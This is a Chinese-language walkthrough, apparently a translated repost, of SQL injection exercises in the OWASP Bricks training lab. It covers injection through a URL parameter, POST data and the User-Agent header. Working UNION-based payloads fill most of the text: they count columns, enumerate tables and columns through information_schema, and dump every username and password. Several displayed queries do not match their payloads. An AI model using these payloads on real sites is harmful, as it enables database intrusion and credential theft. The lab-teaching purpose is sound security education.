URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — – LIMIT 1
这将获得用户表里第一个用户和密码。CHAR(32)代表一个空格,这样放在用户和密码之间使其很容易去区分。
URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — – LIMIT 1
获得用户表里第二个用户和密码。这个过程持续到获取表里所有的用户名和密码。
</The End>
高级SQL注入-基于字符串
URL: bricks/content-2/index.php?user=harry
SQL Query: SELECT * FROM users WHERE name='harry'
这里的user参数可以接受浏览器通过URL输入,改变输入的值将会有不同的输出。
URL: bricks/content-2/index.php?user=harry'
SQL Query: SELECT * FROM users WHERE name='harry''
这次网页只显示了一些错误信息,这就意味着这个user参数存在sql注入漏洞,并且我们可以通过输入来影响它的执行,我们的注入语句必须要以一种不打断完整的sql语句的方式去输入,接下来我们就要用一种精心构造的sql命令去验证它存在注入漏洞。
URL: bricks/content-2/index.php?user=harry' and 1='1
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='1'
这次的网页没有显示错误信息,这是因为sql语句返回了一个true值,但是如果没有返回true值会有什么影响?
URL: bricks/content-2/index.php?user=harry' and 1='2
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='2'
当我们的注入语句是一个false值时,网页就只会显示用户不存在的错误信息了,这样就证明了通过user参数确实可以执行我们的注入代码,也就是说存在sql注入漏洞
注入的代码可以进一步修改,以执行更高级的功能,如获取、更改或者删除一些重要的信息,然而,现阶段,我们并没有清楚的知道一些关于数据库类型,版本,数据表心及其字段等等的一些信息,所以,这些信息必须先枚举出来了。首先我们来查找数据库中存在多少列,因为这个相对来说是比较简单的。
URL: bricks/content-2/index.php?user=harry' order by 1 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 1 -- '
这个页面的内容显示没有任何问题并且没有任何的错误信息
URL: bricks/content-2/index.php?user=harry' order by 2 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 2 -- '
这个页面的内容显示也没有任何的问题,所以可以断定至少存在两个列
URL: bricks/content-2/index.php?user=harry' order by 3 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 3 -- '
这个页面同样是没有问题的,所以可以断定至少存在3个列
这个过程必须要重复增加值,直到页面显示发生一些改变。
。。。。
过程省略
。。。。
过程省略
。。。。
URL: bricks/content-2/index.php?user=harry' order by 8 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 8 -- '
这个页面一样没有错误,所以可以说明至少存在8个列】
URL: bricks/content-2/index.php?user=harry' order by 9 --+
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 9 -- '
这一次页面显示了一些错误信息,所以说明第9列是不存在的,也就说明这个数据库只存在8个列
一个联合查询语句必须相应的去寻找这8个列哪个列存在漏洞
URL: http://localhost/demo/bricks/content-2/index.php?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- '
这次页面没有显示一些特殊的信息也不是正常页面,这是因为该页面显示的是第一个结果,因为它只处理结果的第一行。如果这样的话,注入的代码就需要稍微修改一下,以使它显示第二行的结果,为个达到这个目的,我们有很多方法可以去尝试。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- '
这次,页面显示了一些数字代替了用户的实际信息,这些对应了那些存在漏洞的列
URL: http://localhost/demo/bricks/content-2/index.php ?user=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8 LIMIT 1
数字1被当前数据库的名字给替代,显示为bricks,数字2被当前数据库的版本信息所替代,显示为5.5.9-log,数字3被当前数据库的用户名所替代,显示为root@localhost
现在,我们就要去枚举当前数据库的表了。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- '
从显示的信息可以得知bricks数据库中只存在一个表,接下来的任务就是去寻找数据表users中的列
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 --+
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT group_concat(COLUMN_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.columns WHERE TABLE_NAME='users' LIMIT 1, 1 -- '
以后我们使用group_concat()函数去枚举,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
URL: bricks/content-2/index.php ?user=harry' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 --+
SQL Query: bricks/content-2/index.php ?USER=harry' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 --+
这次将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
高级SQL注入-通过POST数据
URL: bricks/content-3/index.php
POST Data: username=tom&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom'
这里的username参数允许通过POST数据输入,改变输入将会显示不同的内容。
POST Data: username=tom'&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom''
这次只显示了一些错误信息,并未显示其他内容,这就意味着username存在sql注入,并且我们可以通过注入代码去影响它的执行,但是我们的注入语句要以一种不打破完整sql语句的方式插入,接下来,我们就用一种精心构造的sql命令去进一步验证漏洞是否存在。
POST Data: username=tom' and 1='1&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='1'
这次页面没有显示一些错误信息,这是因为添加的代码返回了一个true值,但是如果没有返回true会有什么影响呢?
POST Data: username=tom' and 1='2&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' AND 1='2'
当我们注入的语句返回了一个false值时,网页就会显示用户不存在的错误信息,而不会有其他显示,这就证明了我们通过username参数注入的代码被执行了。
注入代码可以进一步修改,以便用来执行更高级的功能,例如获得,修改或者删除一些重要信息,但是目前我们并没有清楚的知道关于数据库类型,数据库版本,数据表以及数据表的字段等等的信息,所以我们首先要枚举出来这些信息,寻找当前数据库存在多少列相比较而言,还是比较简单的,所以我们接下来要构建注入语句来获取当前数据库中有多少列。
POST Data: username=tom' order by 1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 1 -- +'
这次页面显示内容没有问题,也没有错误信息。
POST Data: username=tom' order by 2 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 2 -- +'
这次页面显示内容也没有问题,也没有显示错误信息。可以证明,当前数据库至少存在两个列
POST Data: username=tom' order by 3 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 3 -- +'
这次页面显示同样没有问题,可以证明至少存在3个列。
这个过程必须重复增加值,直到页面显示发生一些变化。
。。。。。。
过程省略
。。。。。。
过程省略
POST Data: username=tom' order by 8 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 8 -- +'
页面显示还是没有问题的,也就是说至少存在8个列
POST Data: username=tom' order by 9 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' ORDER BY 9 -- +'
这次显示了一些错误信息,说明第9列是不存在的,所以我们可以断定存在8个列。
一个联合查询必须对应的查找这8个列中哪个列存在漏洞。
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- +'
这一次,页面没有显示一些特殊信息也没有显示正常显示,这是因为页面只显示了第一行的结果,因为它只处理结果的第一行,如果这样的话,我们的注入代码就要做一些小的改动,以使第二行有效,为了达到这个目的,我们有很多方法可以去尝试。
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- '
这次,页面显示了一些数字,而不是实际的用户信息,这些数字所对应的就是那些存在漏洞的列。
POST Data: username=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='harry' UNION SELECT database(), version(), user(), 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前的据库名所代替,显示为bricks,数字2被当前数据库的版本信息所代替,显示为5.5.9-log,数字3被当前数据库的用户名所代替,显示为root@localhost。现在我们就要去枚举当前数据库中的数据表了。
POST Data: username=tom' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- +'
信息显示只有一个数据表users存在于bricks数据库中,下面我们寻找users中的列
POST Data: username=tom' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(COLUMN_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.columns WHERE TABLE_NAME='users' LIMIT 1, 1 -- +'
下面我们使用group_concat()函数,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
POST Data: username=tom' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT * FROM users WHERE name='tom' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 -- +'
这次将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
高级SQL注入-通过USER-AGENT
URL: bricks/content-4/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0
SQL Query: SELECT * FROM users WHERE ua='Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0'
这里的user-agent参数接受来自浏览器客户端的输入,通常情况下,这个值是无法修改的,然而通过Mantar,burp suite或者ZAP等工具修改此参数以便注入测试。
URL: bricks/content-4/index.php
User-Agent: Brick_Browser
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser'
在这里,user-agent参数被修改,该页面返回一个有效的结果。
User-Agent: Brick_Browser'
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser''
这次网页只显示了一些错误信息,这就意味着这个user-agent参数存在sql注入漏洞,并且我们可以通过输入来影响它的执行,我们的注入语句必须要以一种不打断完整的sql语句的方式去输入,接下来我们就要用一种精心构造的sql命令去验证它存在注入漏洞。
User-Agent: Brick_Browser' and 1='1
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='1'
这次页面没有显示一些错误信息,这是因为添加的代码返回了一个true值,但是如果没有返回true会有什么影响呢?
User-Agent: Brick_Browser' and 1='2
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' AND 1='2'
当我们注入的语句返回了一个false值时,网页就会显示用户不存在的错误信息,而不会有其他显示,这就证明了我们通过user-agent参数注入的代码被执行了。
注入代码可以进一步修改,以便用来执行更高级的功能,例如获得,修改或者删除一些重要信息,但是目前我们并没有清楚的知道关于数据库类型,数据库版本,数据表以及数据表的字段等等的信息,所以我们首先要枚举出来这些信息,寻找当前数据库存在多少列相比较而言,还是比较简单的,所以我们接下来要构建注入语句来获取当前数据库中有多少列。
User-Agent: username=tom' order by 1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 1 -- +'
这次页面显示内容没有问题,也没有错误信息。
User-Agent: Brick_Browser' order by 2 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 2 -- +'
User-Agent: Brick_Browser' order by 3 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 3 -- +'
这次页面显示同样没有问题,可以证明至少存在3个列。
这个过程必须重复增加值,直到页面显示发生一些变化。
。。。。。。
过程省略
。。。。。。
过程省略
User-Agent: Brick_Browser' order by 8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 8 -- +'
页面显示还是没有问题的,也就是说至少存在8个列
User-Agent: Brick_Browser' order by 9 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' ORDER BY 9 -- +'
这次页面显示了一些错误信息,所以第9列是不存在的,就也说明存在8列。
一个联合查询必须对应的查找这8个列中哪个列存在漏洞。
User-Agent: Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 -- +'
这一次,页面没有显示一些特殊信息也没有显示正常显示,这是因为页面只显示了第一行的结果,因为它只处理结果的第一行,如果这样的话,我们的注入代码就要做一些小的改动,以使第二行有效,为了达到这个目的,我们有很多方法可以去尝试。
User-Agent:Brick_Browser' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
这次,页面显示了一些数字,而不是实际的用户信息,这些数字所对应的就是那些存在漏洞的列。
User-Agent: Brick_Browser' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT database(), version(), 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前的据库名所代替,显示为bricks,数字2被当前数据库的版本信息所代替,显示为5.5.9-log。
User-Agent: Brick_Browser' UNION SELECT user(),2,3,4,5,6,7,8 limit 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT user(), 2, 3, 4, 5, 6, 7, 8 LIMIT 1, 1 -- +'
数字1被当前数据库的用户名所替代,显示为root@localhost
现在就要开始枚举当前数据库中的表了
User-Agent: Brick_Browser' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(TABLE_NAME,0x0a), 2, 3, 4, 5, 6, 7, 8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1, 1 -- +'
通过信息我们可以得知,此数据库中只有一个表users,我们的下一个目标就是要找出users中的列
User-Agent: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +
SQL Query: Brick_Browser' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1, 1 -- +
下面我们使用group_concat()函数,直到所有的列都被列举出来,最终我们获得了所有列的名字:idusers,name,email,password,ua,ref,host,lang。其中name和password是我们最感兴趣的列,因此,下一个注入的代码应该是将这两个列中的数据都列举出来,0x0a表示一个空格,放在中间可以用来分开name和password,以方便我们区分。
User-Agent: Brick_Browser' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +
SQL Query: SELECT * FROM users WHERE ua='Brick_Browser' UNION SELECT group_concat(name,0x0a,password), 2, 3, 4, 5, 6, 7, 8 FROM users LIMIT 1, 1 -- +'
这次操作将会显示所有users表中的name和password列中的所有内容,0x0a是一个空格,可以方便我们区分用户名和密码。
</The End>
原文地址:http://sechow.com/bricks/docs/content-pages.html
转载请注明出处及作者,谢谢!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
看原图
赞赏
雪币:
留言: